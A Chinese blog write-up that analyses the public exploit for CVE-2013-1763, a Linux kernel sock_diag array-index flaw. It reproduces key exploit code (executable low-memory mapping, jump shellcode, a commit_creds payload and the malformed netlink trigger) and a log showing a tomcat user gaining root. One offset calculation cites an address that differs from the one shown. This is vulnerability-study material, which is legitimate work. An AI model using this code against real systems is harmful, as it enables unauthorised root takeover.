欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]Linux Kernel CVE-2013-1763 Local Privilege Escalation Vulnerability 利用分析

[原创]Linux Kernel CVE-2013-1763 Local Privilege Escalation Vulnerability 利用分析

近日闲的蛋疼, 刚开始把自己的Ubuntu执行命令sudo apt-get remove libc6, 然后又重新编内核,重新装各种东西,最终终于看到图形界面.
然后忽然网上出现了apache struts2的漏洞,又在思考tomcat的帐号在linux平台上如何get root.
于是准备搭环境自己黑自己一把.
上网搜了一下,最新的提权的漏洞是CVE-2013-1763, 影响的版本具多, 有现成的poc, 值得一试.
(1)漏洞描述
系统在处理sock_diag_handlers数组的时候, 未对传入的值进行验证, 从而导致越界,进而导致可执行代码的漏洞.
未授权用户可以通过执行代码, 得到root权限.
(2)漏洞产生的原因
首先看sock_diag_handlers的定义

static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 41.

在/net/core/sock_diag.c中有如下代码,
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)

{

        int err;

        struct sock_diag_req *req = NLMSG_DATA(nlh);

        struct sock_diag_handler *hndl;

        if (nlmsg_len(nlh) < sizeof(*req))

                return -EINVAL;

        hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回sock_diag_handlers中存放的hanlder.我们看一下sock_diag_lock_handler函数

        if (hndl == NULL)

                err = -ENOENT;

        else

                err = hndl->dump(skb, nlh);

        sock_diag_unlock_handler(hndl);

        return err;

}

----

static inline struct sock_diag_handler *sock_diag_lock_handler(int family)

{

        if (sock_diag_handlers[family] == NULL)

                request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,

                                NETLINK_SOCK_DIAG, family);

        mutex_lock(&sock_diag_table_mutex);

        return sock_diag_handlers[family]; //这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.

}

---
我们知道了漏洞产生的原因,接下来看漏洞是如何利用的呢, 我们通过网上出现的poc来分析.
(3)漏洞的利用.
人们都说漏洞的利用是一门艺术, 确实是这样, 仅从上述的内容分析,我们只知道,当会导致数组越界,从而导致系统crash.
如果要利用的话,需要对上下文环境有足够的了解,需要对整个系统进程的内存布局有个足够的了解.
hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回sock_diag_handlers中存放的hanlder.我们看一下sock_diag_lock_handler函数
if (hndl == NULL)

    err = -ENOENT;

else

    err = hndl->dump(skb, nlh);

上述代码中,我们知道,我们可以指定数组读取的内容,并把值返回给hndl,接下来我们看hndl的结构,
struct sock_diag_handler {

        __u8 family;//

        int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);

};

看到这时,我们豁然开朗,只要我们伪造handler的结构,并赋予dump函数指针相关的值,我们可以指定执行到我们的地址了.
此时内存的布局如下,
[handler1]
[handler2]
......
[handler40]
......
[nl_table]
......
//至于为啥是这样呢,我是看到poc才知道是这样的.悲剧
我们继续看nl_table的结构,
67 struct netlink_table {

 68         struct nl_portid_hash   hash; //取回这个值

 69         struct hlist_head       mc_list;

 70         struct listeners __rcu  *listeners;

 71         unsigned int            flags;

 72         unsigned int            groups;

 73         struct mutex            *cb_mutex;

 74         struct module           *module;

 75         void                    (*bind)(int group);

 76         int                     registered;

 77 };

如果我们能够在内存中取得hash的值,可以通过指定family,将这个nl_table中的hash的值做为句柄返回.
我们继续看hash的结构是nl_portid_hash
54 struct nl_portid_hash {

 55         struct hlist_head       *table; 四个字节

 56         unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.

 57 

 58         unsigned int            mask;

 59         unsigned int            shift;

 60 

 61         unsigned int            entries;

 62         unsigned int            max_shift;

 63 

 64         u32                     rnd;

 65 };

如果将hash的值返回,rehash_time即对应dump函数的地址,
而如何将hash的值返回呢, 我们需要看下nl_table距离sock_diag_handlers多远
family = (nl_table-sock_diag_handlers)/4
我们指定特定的family的值,即能将hash的值返回.
bitnami@domU-12-31-39-10-6A-AA:~$ sudo cat /proc/kallsyms | grep sock_diag_handlers

c0ae9be0 b sock_diag_handlers

bitnami@domU-12-31-39-10-6A-AA:/tmp$ sudo cat /proc/kallsyms | grep nl_table

c0ae9e44 b nl_table

family的值为(c0ae9e44-c05b8fd0)/4 = 153.

所以我们指定family的值为153时,即可将hash的值作为handler返回.

 我们看下rehash_time的值,

(gdb) x/32x 0xc0ae9e44(nl_table的地址)

0xc0ae9e44:	0xe5c90800	0x00000000	0xc0933d4c	0x00000000

0xc0ae9e54:	0x00000000	0x00000000	0x00000000	0xc09443d8

0xc0ae9e64:	0xc09443d8	0xc0949498	0xc0949498	0xc0949778

0xc0ae9e74:	0xc0949778	0xc09495f8	0xc09495f8	0xc093e9f8

0xc0ae9e84:	0xc093e9f8	0xc090faf8	0xc090faf8	0xc08ff058

0xc0ae9e94:	0xc08ff058	0xc0ae9e98	0xc0ae9e98	0xc0ae9ea0

0xc0ae9ea4:	0xc0ae9ea0	0xc0ae9ea8	0xc0ae9ea8	0xc0ae9eb0

0xc0ae9eb4:	0xc0ae9eb0	0xc0ae9eb8	0xc0ae9eb8	0xc0ae9ec0

(gdb) x/32x 0xe5c90800(hash)

0xe5c90800:	0xe3748ea8	0x00012b59(这个值即为rehash_time的值)	0x00000001	0x00000001

--

从上述内容来看,我们现在能跳到0x00012b59这个地址去执行了, 接下来我们只需要将这个地址填充我们的shellcode,即可

(从poc中有如下代码)

unsigned long mmap_start, mmap_size;

mmap_start = 0x10000; //从这个地址开始布置内存,

mmap_size = 0x120000;

printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);

//映射这块地址空间,从而进行读写执行操作.

if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,

                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {

                printf("mmap fault\n");

                exit(1);

}

//将这个地址空间布满0x90的命令. 这块类似heap sprey...将这一大块内存都布满0x90...

memset((void*)mmap_start, 0x90, mmap_size);

/*

push ebp

mov ebp, esp

mov eax, 0x11111111 //\x11\x11\x11\x11是地址.

call eax

pop ebp

ret

*/

char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm

unsigned long *asd = &jump[4]; //我们得到这个\x11\x11\x11\x11的地址

*asd = (unsigned long)kernel_code;

//我们把这个地址改成kernel_code的地址,从而执行我们的kernel code.

//然后将这个jump拷贝到上述的共享内存的地方.

//这里布置完shellcode.

//提权的漏洞有一好处,就是shellcode可以用c语言来写...

//我们看下kernel_code,

int __attribute__((regparm(3)))

kernel_code()

{

	commit_creds(prepare_kernel_cred(0));

	return -1;

}

//这个代码就不解释了.

memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

//下面触发漏洞

struct {

		struct nlmsghdr nlh;

		struct unix_diag_req r;

	} req;

memset(&req, 0, sizeof(req));

req.nlh.nlmsg_len = sizeof(req);

req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;

req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;

req.nlh.nlmsg_seq = 123456;

req.r.udiag_states = -1;

req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

req.r.sdiag_family = 153; //这里传入我们上述知道的畸形的family的值,

//发送畸形的req,进而触发漏洞.

if ( send(fd, &req, sizeof(req), 0) < 0) {

		printf("bad send\n");

		close(fd);

		return -1;

}

至此告一段落..
还是那句话,漏洞的利用一门深奥的艺术.
没有对系统深刻的理解,写不出完美的利用.
最后看到自己把自己黑了,tomcat变成root,很是惊喜,激动
Enjoy the shell.

bash: no job control in this shell

tomcat@domU-12-31-39-10-6A-AA:/opt/bitnami/apache-tomcat/logs$ cd /tmp/

cd /tmp/

tomcat@domU-12-31-39-10-6A-AA:/tmp$ id;whoami;

id;whoami;

uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)

tomcat

tomcat@domU-12-31-39-10-6A-AA:/tmp$ ./a.out

./a.out

Run: ./a.out Fedora|Ubuntu

tomcat@domU-12-31-39-10-6A-AA:/tmp$ ./a.out Ubuntu

./a.out Ubuntu

id;whoami;

uid=0(root) gid=0(root) groups=0(root)

root


----
(4)参考
http://www.securityfocus.com/bid/58137/exploit

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功